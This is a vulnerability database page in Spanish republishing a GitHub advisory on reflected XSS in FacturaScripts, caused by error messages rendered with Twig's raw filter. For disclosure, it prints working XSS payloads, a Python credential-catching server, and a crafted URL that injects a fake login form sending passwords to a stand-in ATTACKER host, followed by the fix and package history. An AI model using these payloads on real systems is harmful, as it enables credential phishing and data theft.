Media

FacturaScripts is Vulnerable to Reflected XSS

  • Publicada: 02.02.2026
  • Actualizado: 11.10.2026 10:22

Reflected XSS via SQL Error Messages

Summary

A reflected XSS bug has been found in FacturaScripts. The problem is in how error messages get displayed - it's using Twig's | raw filter which skips HTML escaping. When a database error is triggered (like passing a string where an integer is expected), the error message includes all input and gets rendered without sanitization.

Attackers can use this to phish credentials from other users since HttpOnly is set on cookies (so stealing cookies directly won't work, but attackers can inject a fake login form).

CVSS 6.1 (Medium-High)


What was Found

Where the bug exists in the code:

Core/View/Macro/Utils.html.twig, line 27:

twig
{% for item in messages %}
    <div>{{ item.message | raw }}</div>
{% endfor %}

That | raw is the problem. It tells Twig not to escape anything.

How it works

So here's what happens:

  1. Hhit /EditProducto?code=<svg onload=alert(1)> or <img src=x onerror=alert(1)>
  2. The app tries to look up a product with that "code"
  3. PostgreSQL throws an error because <svg onload=alert(1)> isn't a valid integer
  4. The error goes something like: ``` ERROR: invalid input syntax for type integer: "<svg onload=alert(1)>" LINE 1: SELECT * FROM "productos" WHERE "idproducto" = '<img src=x onerror=alert(1)>"
  5. This gets logged via MiniLog and displayed to the user
  6. Because of | raw, the browser actually executes the JS

The error logging happens in Core/Base/DataBase.php around line 236:

php
self::$miniLog->error(self::$engine->errorMessage(self::$link), ['sql' => $sql]);

And PostgreSQL's error message includes whatever garbage it was sent.


Reproduction Steps

Requirements

  • Working FacturaScripts install
  • Any user account (doesn't need to be admin)
  • The victim needs to be logged in

Quick test

Just visit this URL while logged in:

http://localhost/EditProducto?code=<svg onload=alert(document.domain)>

An alert box should pop up.

For a real attack (credential phishing)

Set up a simple server to catch credentials:

python
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        q = parse_qs(urlparse(self.path).query)
        print(f"\nGot creds:")
        print(f"  User: {q.get('user', ['?'])[0]}")
        print(f"  Pass: {q.get('pass', ['?'])[0]}")
        self.send_response(200)
        self.end_headers()
    def log_message(self, *args): pass

HTTPServer(('', 8888), Handler).serve_forever()

Then craft a URL that injects a fake login form:

http://TARGET/EditProducto?code=<svg onload="document.body.innerHTML='<div style=text-align:center;padding:100px><h2>Session Expired</h2><form action=http://ATTACKER:8888/steal><input name=user placeholder=Username><br><input name=pass type=password placeholder=Password><br><button>Login</button></form></div>'">

Send that to someone (email, chat, whatever). When they click it and enter their password thinking their session expired, their creds are displayed.

Other endpoints that work

Pretty much anything that uses the code parameter:

  • /EditProducto?code=
  • /EditCliente?code=
  • /EditFacturaCliente?code=
  • /EditProveedor?code=
  • etc.

Basically all the Edit controllers.


Impact

What attackers can do with this

Steal credentials - Can't grab cookies directly (HttpOnly), but the phishing form trick works great. Victim thinks their session timed out and re-enters their password.

Read page data - Once JS is running, attackers can scrape whatever's on the page (invoices, customer info, financial data) and send it somewhere.

Keylog - Inject a keylogger that captures everything they type.

Bypass CSRF - Grab the multireqtoken from the page and make requests as the victim.

What attackers CAN'T do

Can't steal session cookies via document.cookie - they're HttpOnly.

Business side

This is a financial app, so if attackers compromise an admin account, the following is possible to create or expose:

  • Fake invoices
  • Redirected payments
  • Customer data breach (GDPR stuff)
  • The usual mess

Fix

Quick fix

Just remove | raw from line 27 in Core/View/Macro/Utils.html.twig:

diff
-    <div>{{ item.message | raw }}</div>
+    <div>{{ item.message }}</div>

That's it. Twig escapes by default, so removing | raw fixes the XSS.

If projects want to be thorough

  1. Sanitize messages before they go into the log:
php
$message = htmlspecialchars($message, ENT_QUOTES, 'UTF-8');
  1. Add CSP headers to block inline scripts as a backup

  2. Maybe validate the code parameter format before it hits the database


Resources


Found: Dec 31, 2025
Tested on: FacturaScripts 2025.61 (Docker), verified vulnerable in 2025.71 (GitHub latest) <img width="1917" height="868" alt="1" src="https://github.com/user-attachments/assets/a7d770c8-1d61-499c-83dc-e21be8e61c87" /> <img width="337" height="130" alt="3" src="https://github.com/user-attachments/assets/463067ee-3a73-45ed-af26-c32264d5bf41" /> <img width="1915" height="870" alt="phising" src="https://github.com/user-attachments/assets/6e15a021-dc5f-4708-bdd1-887ecb2d2ffb" /> <img width="1915" height="862" alt="phising2" src="https://github.com/user-attachments/assets/100a63b6-c066-43d5-ab39-6085f51ba282" /> <img width="1918" height="877" alt="sql erroe" src="https://github.com/user-attachments/assets/4c3182ba-380d-44d4-ab34-4b0840ad3e39" /> <img width="1165" height="277" alt="version" src="https://github.com/user-attachments/assets/5f23e4de-cf03-4fcf-a6c5-6ca327c8c43a" />

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de Composer facturascripts/facturascripts < 2025.81 2025.81

Referencias

Puntuación CVSS 5.4/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Debilidad (CWE)
CWE-79
Plataforma
Composer
Paquete
facturascripts/facturascripts
Publicada
02.02.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-g6w2-q45f-xrp4 - CC BY 4.0

Historial de vulnerabilidades: facturascripts/facturascripts

Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (26) en el archivo
Entradas en total
26
Primera → última
04.2022 07.2026
Sin corrección
15
Explotada en ataques
0

Distribución por gravedad

  • Crítica 5
  • Alta 7
  • Media 12
  • Baja 2

Divulgaciones por año

  1. 2022: 8
  2. 2023: 0
  3. 2024: 0
  4. 2025: 1
  5. 2026: 17
Gravedad:
  1. Crítica CVE-2026-47677 < 2026.3 2026.3
  2. Alta CVE-2026-25514 < 2025.81 2025.81
  3. Alta CVE-2026-25513 < 2025.81 2025.81
  4. FacturaScripts is Vulnerable to Reflected XSS esta entrada
    Media · 5.4 CVE-2026-23476 < 2025.81 2025.81
  5. Alta CVE-2025-69210 < 2025.7, = 2025.11, = 2025.41, = 2025.43 2025.7
  6. Crítica · 9.8 CVE-2022-1715 < 2022.08 2022.08
  7. Crítica · 9.0 CVE-2022-1514 < 2022.06 2022.06

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.